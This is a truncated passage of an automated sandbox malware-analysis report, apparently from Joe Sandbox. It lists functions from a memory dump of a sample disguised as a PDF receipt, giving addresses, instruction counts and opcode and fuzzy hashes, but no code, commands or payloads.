Opcode Fuzzy Hash: 1fc403b244c8d0c5f7326b091991b506f4cadfb0022dda10f9f85e41ad0d6b5d
Instruction Fuzzy Hash: 9AF0F677B1010DABDF00DA95DD019AEFB76EF95325F248299E818973A0E6329821DB41

Function 0827A959 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ebd96e1969d84b77e964328dc72ab28d46a4966ca50d74a0e4ba9413e2b569
Instruction ID: 493f2d5516c0bc643cfc2a658fda4b9565eb83dc7aa4140dcbd62d5321da4bfd
Opcode Fuzzy Hash: a6ebd96e1969d84b77e964328dc72ab28d46a4966ca50d74a0e4ba9413e2b569
Instruction Fuzzy Hash: 96011930929228CFDB18CB51D5849ACB77BFB4A312F10D599D40B6B256C771E992CF14

Function 0827E83F Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f262c82d65e6f3953dd5bdba023ed67ca1ed5659b53f1a0c9c28f4b489797a
Instruction ID: 1164d7a38a9bb8179bba1751a5d6ae1e1e0e8c80fa29ceff4ff456a301e088df
Opcode Fuzzy Hash: 92f262c82d65e6f3953dd5bdba023ed67ca1ed5659b53f1a0c9c28f4b489797a
Instruction Fuzzy Hash: 39F06D34905208AFCB12DFA8D4046CDBFB1AF48211F51C1AED844A7351C2354A95DF91

Function 08271D80 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d122a5b4267b25e9ef654c2a5a01be33fcf40de7c7abaefe8bcde32943fa31c5
Instruction ID: 40ce09e223527ae6c33aad2e21dcf45f8a0661d2dbaa44df1ad4aa92a458ae26
Opcode Fuzzy Hash: d122a5b4267b25e9ef654c2a5a01be33fcf40de7c7abaefe8bcde32943fa31c5
Instruction Fuzzy Hash: 58F0F9B0D1430A9FDB54DFA9C546AAEBFF4BF09310F60446AE514E3201E7B59610DFA0

Function 08275AC0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b84537b084536120601e17bfae03f7ebeb96911a0a93f360b0b2c5c5add1e2
Instruction ID: 6904503db4b034038db79fe2c78cd00f10a3c3cba7550a461696b89aaef21264
Opcode Fuzzy Hash: d1b84537b084536120601e17bfae03f7ebeb96911a0a93f360b0b2c5c5add1e2
Instruction Fuzzy Hash: B7F0F4B4D252099FCB44DFA9C5056AEFFF5FF48301F10856AD818A3381EBB14A04CB95

Function 0827FBA8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c568c88ac5f40143a34eaa822ed54111bbd81f15ecc8cb0ecc5e627e6670d5
Instruction ID: dfa33856b7457da72600cbf9a972b6b16f8067f02f8d70aef5886231be8e6f5c
Opcode Fuzzy Hash: e0c568c88ac5f40143a34eaa822ed54111bbd81f15ecc8cb0ecc5e627e6670d5
Instruction Fuzzy Hash: 21F05E70D09248AFCB12DBA8D4446DDFFB0AB45211F1181AEC844A7251D6744A46DB42

Function 082706F4 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d0bee22777d1bcaf0dc2dd01f0986f072d8345f6b8033646d9327764e07282
Instruction ID: ed97fe3855afe3b4d0e461097ed7f3256d72abc07eead0a086c79c54f23aa858
Opcode Fuzzy Hash: 91d0bee22777d1bcaf0dc2dd01f0986f072d8345f6b8033646d9327764e07282
Instruction Fuzzy Hash: 8D01B278A01658CFCB48CFA5C9849DDBBF2EB88311F2480A9D805A7308D635AE898E15

Function 08271D90 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aac4c38e4a8cd852943fcd30d51290bb7f28f17a9aff06ac3056ade7b3d9b8d
Instruction ID: e16465bc6db01d11a461604438f6cf935d70097248dcc2018a2a60b83acccb37
Opcode Fuzzy Hash: 7aac4c38e4a8cd852943fcd30d51290bb7f28f17a9aff06ac3056ade7b3d9b8d
Instruction Fuzzy Hash: A2F0DAB0D1430A9FDB54DFA9C841AAEBFF4AF48301F5045AAD918E7300E77196508F91

Function 08278E22 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c84c8852671d405d011d72856ff89823b2ab3e3f7dc39113a49d06b2824bd91
Instruction ID: af242d79050ae7666c77493bb7f60b28fefddc8f6bbc80d7fcc602e2eec8ad4f
Opcode Fuzzy Hash: 1c84c8852671d405d011d72856ff89823b2ab3e3f7dc39113a49d06b2824bd91
Instruction Fuzzy Hash: F3F05874D093499FCB02EFB8C8006AEBFB0EB09300F0086AED85493342D3758A51DB95

Function 08279059 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0138d54816931461fae7979c3a85b97f5fda14889602bd700ffb29d9c689cb78
Instruction ID: d8431808de0df5de43405c6a4960d790a9f016b06b74a840500748b92d4136ae
Opcode Fuzzy Hash: 0138d54816931461fae7979c3a85b97f5fda14889602bd700ffb29d9c689cb78
Instruction Fuzzy Hash: 48F0A030E66309CFCB54CB5AE8806ECBB7DFB89212F0095A8C00DA3225C77519D8CF01

Function 0827A779 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d01900da1c6d8a7ac8015d772935c039d173fa358494b92e5517e8eafb0a32c4
Instruction ID: c4773e799ba7241e0b16bf5043827e09a48d106a58dc9c0f78f1c5d9c3508432
Opcode Fuzzy Hash: d01900da1c6d8a7ac8015d772935c039d173fa358494b92e5517e8eafb0a32c4
Instruction Fuzzy Hash: 35F05F78E16268CFCB55CF64D980AADBBB5EF19305F50509AD84AA7301D271AE81CF41

Function 0827A9DE Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69ba6a01d5b35de7afc86b9abb4b5b7ddac9428ba90f34393111d062219683aa
Instruction ID: 44c9f09914e3e3b0cbe040c0577bfeefca8e88959c6455ca80d07ed0b96b0f11
Opcode Fuzzy Hash: 69ba6a01d5b35de7afc86b9abb4b5b7ddac9428ba90f34393111d062219683aa
Instruction Fuzzy Hash: 8DF05E31529254CFD319CB25D5449ACB779FB0A213B5094D9E80B9B213C771D881CF14

Function 08275F56 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0427bde7a897ba981332e30c2daec19146e3d85a18d8428d7c13da9f1ae489f3
Instruction ID: 81800b711b54b1191b3e85fdb953412217e3d932b0c21496473c1dee30ab79c8
Opcode Fuzzy Hash: 0427bde7a897ba981332e30c2daec19146e3d85a18d8428d7c13da9f1ae489f3
Instruction Fuzzy Hash: ADE06D72600109AF9F48DF98DA45A9EBBFAEF48324B14816AE408E7324E731D9508B50

Function 0827CFA2 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb4bca886cde721324722efdd4c12f24c6cad7c1d72ad04ae2df6ea625ef993
Instruction ID: 1bbd54915280e3881aff0936dba76cd9684cde17ca5d12747306dfd40571d9bd
Opcode Fuzzy Hash: 0fb4bca886cde721324722efdd4c12f24c6cad7c1d72ad04ae2df6ea625ef993
Instruction Fuzzy Hash: BBF03A34E11209DFCB04DFA5E5489ACBBB5FF88312B10812ED01AEB345DB319891CF51

Function 0827D14C Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10670495ce7d2fed685b0486040b373a23e6362cacc8dde57a230aa685e6a33
Instruction ID: f64d28b107e742bcbd646fe570d8d35f2b8a960e08561709d67535c9712f6d2e
Opcode Fuzzy Hash: c10670495ce7d2fed685b0486040b373a23e6362cacc8dde57a230aa685e6a33
Instruction Fuzzy Hash: F8F090389102598FCB04EFE4E584A9CBBF9FF44315F208218D415AF3ACC7709885CB10

Function 0827E850 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 855c88a262f14e053c0bf276fd6d03147d0816aef5b9fd8fb2019f6391512be4
Instruction ID: e37851b49d5aa5ba335a4a253cb49fa58ec5dc9992201d7672c873ba3bd32a41
Opcode Fuzzy Hash: 855c88a262f14e053c0bf276fd6d03147d0816aef5b9fd8fb2019f6391512be4
Instruction Fuzzy Hash: 64F01574D00208EFCB40EFA8E50868CBBB5EB88302F10C1AEE844A2350D6359AA0DF51

Function 0827AB3E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a734e24dc3bdede55116bab9d18e576b3d3530cb4f0a0d3fff573567ef6dd68
Instruction ID: 06c34d2d40fa5ecfa91f0147b5d620ed1e32cc4d2dd5b238dc3bc38293759649
Opcode Fuzzy Hash: 4a734e24dc3bdede55116bab9d18e576b3d3530cb4f0a0d3fff573567ef6dd68
Instruction Fuzzy Hash: 3FF04D78A16228CFCB65CF58D980A9DB7B5BB09301F5050DAE84AA7311D371AE81CF01

Function 08271D28 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfaafe2abbbf5e1a8bf7dd64659d8d41598ee4463b9c112204c0c6f9bdd5ba6
Instruction ID: d80f61da185a5b9af93a2d2b8904774f58ba6d77dba391e968884bfa6475f801
Opcode Fuzzy Hash: edfaafe2abbbf5e1a8bf7dd64659d8d41598ee4463b9c112204c0c6f9bdd5ba6
Instruction Fuzzy Hash: 22E0C2B0D1461AEFD740EFA9C50579ABBF1BF48705F208569E419E7211E7B096118F80

Function 08271278 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95e8f6c6d657b83fb943cecb07734c3c96f5401d53a1c9a2d3dd6444e174b449
Instruction ID: 9c6c834de76909b45502bb31b8ae7b23ffc32acaf47cc65927eff9354f53b84d
Opcode Fuzzy Hash: 95e8f6c6d657b83fb943cecb07734c3c96f5401d53a1c9a2d3dd6444e174b449
Instruction Fuzzy Hash: E1E06D3A900214DFC710CB64E48C884B330FF48376B1042E9E826873A6CB328E91DF50

Function 08278E30 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6988c37c6ed626d568f5a602a40b8e8ef8c3fc215e569f4d25687a1d728f048
Instruction ID: 5c3b737677580377b23c049e70f7ba8617d09de0b5b49e08278d1a863dd5fe95
Opcode Fuzzy Hash: b6988c37c6ed626d568f5a602a40b8e8ef8c3fc215e569f4d25687a1d728f048
Instruction Fuzzy Hash: 7FE06D70D01309DFCB04DFA8C8006ADBBF0FB04300F4085AED814A3300D7759651DB84

Function 0827B0B3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5ef46980da95de4afce73601dd8daa884905d95ddbd0946ab5cdbc73e2b1bb0
Instruction ID: 83082e81c4aa6b491723e0cd2abd70849ced773dc80440b52ea5910bb573b5dc
Opcode Fuzzy Hash: f5ef46980da95de4afce73601dd8daa884905d95ddbd0946ab5cdbc73e2b1bb0
Instruction Fuzzy Hash: C4F0153141C290EBEB45CF25D48C626B774FF0A722B1485EAD88A6E80BC7324981DFA1

Function 0827AF68 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b507349790a4570c267303c08a1b899c2972585148ffaec74cbffebd4604d0
Instruction ID: bc07e99f3afb5068aa113a1c32876380ea88742b611693a3ae6c297c8629aeae
Opcode Fuzzy Hash: 13b507349790a4570c267303c08a1b899c2972585148ffaec74cbffebd4604d0
Instruction Fuzzy Hash: F4F07478E16268CFCB65DF18C984A98BBB5FF09310F1052E9E859A7751C3319E81CF00

Function 082772A3 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d69ddd3c589b753c8af7b28d701ee76757400207e6d4880705aebeb4ae0a7b
Instruction ID: f7dc874aae92c69dc3b10cfd0fda5ea3ef00d947a3fa644e43226978652cc961
Opcode Fuzzy Hash: a2d69ddd3c589b753c8af7b28d701ee76757400207e6d4880705aebeb4ae0a7b
Instruction Fuzzy Hash: 08E04F749612459FCB55DFA8C4459D8BFB0EB05325F1082DAE828873A2C6399946DB40

Function 0827D3B5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7853aa5fbd5c9fc07a0e7e0fe8d45e5796135a050e20b6e9303423cdf7b3499
Instruction ID: 940ded23fae1a6fdf1a82b78bf03cca3695df8b1f396f801e76ddc0bf368f7ae
Opcode Fuzzy Hash: a7853aa5fbd5c9fc07a0e7e0fe8d45e5796135a050e20b6e9303423cdf7b3499
Instruction Fuzzy Hash: D0E026B28381088FEF08DEB6CD41E943B98AF2031AB00435290309A2EEF3B0A001CB40

Function 08278E72 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f199ec8516a3d6b7ee3477d8857311aa6709ae4bad029bf8bdfcabe93d1b6ff
Instruction ID: 02f5302268758530d7c956231b854d46e04043ec6c028d9b25d0c8ce349494e6
Opcode Fuzzy Hash: 6f199ec8516a3d6b7ee3477d8857311aa6709ae4bad029bf8bdfcabe93d1b6ff
Instruction Fuzzy Hash: E2D05E310892859FC32327B8B80C5EAFF749B12212B1983AFE48585463C67501E4C766

Function 08277068 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc920a14c3ea251dcb985066f585bb9f1fd140f7081e5bae05c6519e6f3ac771
Instruction ID: 142e416f2cf17f89be6ddde6e2e50afbf13dc9092e26df2c31f98f8e71aebbbd
Opcode Fuzzy Hash: dc920a14c3ea251dcb985066f585bb9f1fd140f7081e5bae05c6519e6f3ac771
Instruction Fuzzy Hash: D8E0DF30850246AFCB19CBB8C14538CFFB0EB01320F1046C9E82447281D7390552DB40

Function 0827B0EF Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a7ebf85c6a376e1f8aa99ab16cbd475e73d3d05be493555fb7d0aa66bb9ef0
Instruction ID: d83522c1aee3c73bb70aa3545b1b395952c295f0aada9ea5d6bc8af2c095301c
Opcode Fuzzy Hash: 94a7ebf85c6a376e1f8aa99ab16cbd475e73d3d05be493555fb7d0aa66bb9ef0
Instruction Fuzzy Hash: 8FE06530109280DFD701AB21E48C66ABBB4FF4630272485EAD88A6E163CB368C82CF41

Function 082772A8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd7cc95b962ecb0e0cd25b2aadb8109cdec9818a5d2e3c4225b5ef4deba337b
Instruction ID: 38139c5c22df3ec4b1ba82a0bbe348b242bcede7b4bdc38fc18171290eee51f3
Opcode Fuzzy Hash: 9dd7cc95b962ecb0e0cd25b2aadb8109cdec9818a5d2e3c4225b5ef4deba337b
Instruction Fuzzy Hash: 89E09A74D212089FC784EFA9D445A9CBBF4EB08611F0081EAE818D7351E6759954CF41

Function 08271D38 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562ce5ff2134cec7b1b2a92598044c4663025c5ddfd7f64f3287aa1ebb758db8
Instruction ID: 35741351ef62c056128952ffcf0ad7d97be3b0b348b31c1b9a2850a38c341092
Opcode Fuzzy Hash: 562ce5ff2134cec7b1b2a92598044c4663025c5ddfd7f64f3287aa1ebb758db8
Instruction Fuzzy Hash: 8AE092B0D5060A9FD740EFAAC905A5EBBF0AF08601F1185A9D019E7211E7B496058F91

Function 08271260 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca2b3a8b16a3f82c91ca90b4e2673eef3b4ee68d119117008bcb30b982a4bb11
Instruction ID: d3d8fe2f2b9aec6870c577fc927aecc45b74cf8839d5ac80b1fccad09250ef3d
Opcode Fuzzy Hash: ca2b3a8b16a3f82c91ca90b4e2673eef3b4ee68d119117008bcb30b982a4bb11
Instruction Fuzzy Hash: 77E0123A601214DFC315DF69E558498BB71FF85366B9040AEE50587325C732D9A0DF50

Function 082798C8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a92d6e75326ddd816a6e42939f3b4ba5ecbc4af6032603615d8acb2a09ebb91
Instruction ID: ea8b41f7a44a39083d106ea19afddf2690239cee0d1bcc0b65a434c93277d809
Opcode Fuzzy Hash: 1a92d6e75326ddd816a6e42939f3b4ba5ecbc4af6032603615d8acb2a09ebb91
Instruction Fuzzy Hash: 05E0B634A15204CFDB04DF64D484EADBB75EF49302F219058E9066B361C775AC82CB00

Function 08277078 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279a401fa18f6cb307c6a9e0b2674ba2590aea336f764de364f9425fe418cbca
Instruction ID: 0e4e5bc2b852784bd13dce6020309026758fb407ff63418a2f8bd788e6833d57
Opcode Fuzzy Hash: 279a401fa18f6cb307c6a9e0b2674ba2590aea336f764de364f9425fe418cbca
Instruction Fuzzy Hash: 07E0E274D11209AFCB54EFB9D44569CBFF4EB44201F0081AAA818A3240EA785A54CF81

Function 08274980 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f508434d0dc87be7d467b30092b9ab892254b00a32225a2d2b50453c9781965
Instruction ID: 4d98b545082f62c1c7fbad5bb3ac49de879037f93f68e6e1143fb87328a56866
Opcode Fuzzy Hash: 7f508434d0dc87be7d467b30092b9ab892254b00a32225a2d2b50453c9781965
Instruction Fuzzy Hash: A0D0A93082220CDFC704EBB8D90A79DBBB49B00202F1001A9C808A32A2EA705E54DBCA

Function 08271F88 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 805823888c2f28e10305c737be31ad9e5e95ca5793811b4c7d07df943e715e81
Instruction ID: 644ee2f9ea8824e24f73494358ce01fc913b3b84390e07a404f49f7421a9ac91
Opcode Fuzzy Hash: 805823888c2f28e10305c737be31ad9e5e95ca5793811b4c7d07df943e715e81
Instruction Fuzzy Hash: 0CD0123215020D9E4F80EFA5E800D967BDCBB187507008826E544CB021F721F534E751

Function 08278E80 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1066c04653800d4e5cd3811777b5bf5b767640d826c5a1f7de82f756a4c2700a
Instruction ID: a3ae4517c1e4021bb37827203baba425bc04281c748971c7f41f6bcc4262bdd8
Opcode Fuzzy Hash: 1066c04653800d4e5cd3811777b5bf5b767640d826c5a1f7de82f756a4c2700a
Instruction Fuzzy Hash: D1C08C300402088BC2243798B80C32CF7A8E744203F90C12DE188000238BB140F0C69A

Non-executed Functions

Function 082723B8 Relevance: 5.2, Strings: 4, Instructions: 174COMMON

Download Yara Rule

Strings

tQ=), xrefs: 0827244E
%O@8, xrefs: 08272522
tQ=), xrefs: 08272455
%O@8, xrefs: 08272514

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: %O@8$%O@8$tQ=)$tQ=)
API String ID: 0-749352435
Opcode ID: 24b31a6ac88d1d9900a22fee2d4e68cd178672f0f54b624a115e86d55dd83b7c
Instruction ID: c5f2e5a3d5e3a793c53b2888f238cd7276182f6b7dfc6e7eed6c181aa225c839
Opcode Fuzzy Hash: 24b31a6ac88d1d9900a22fee2d4e68cd178672f0f54b624a115e86d55dd83b7c
Instruction Fuzzy Hash: C471C074E21219DFCB48CFAAD58499EFBF1FF88311F14856AE415AB220D774AA41CF50

Function 08272F68 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

18', xrefs: 082730B2
aY, xrefs: 08273152
18', xrefs: 082730A4
aY, xrefs: 08273159

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

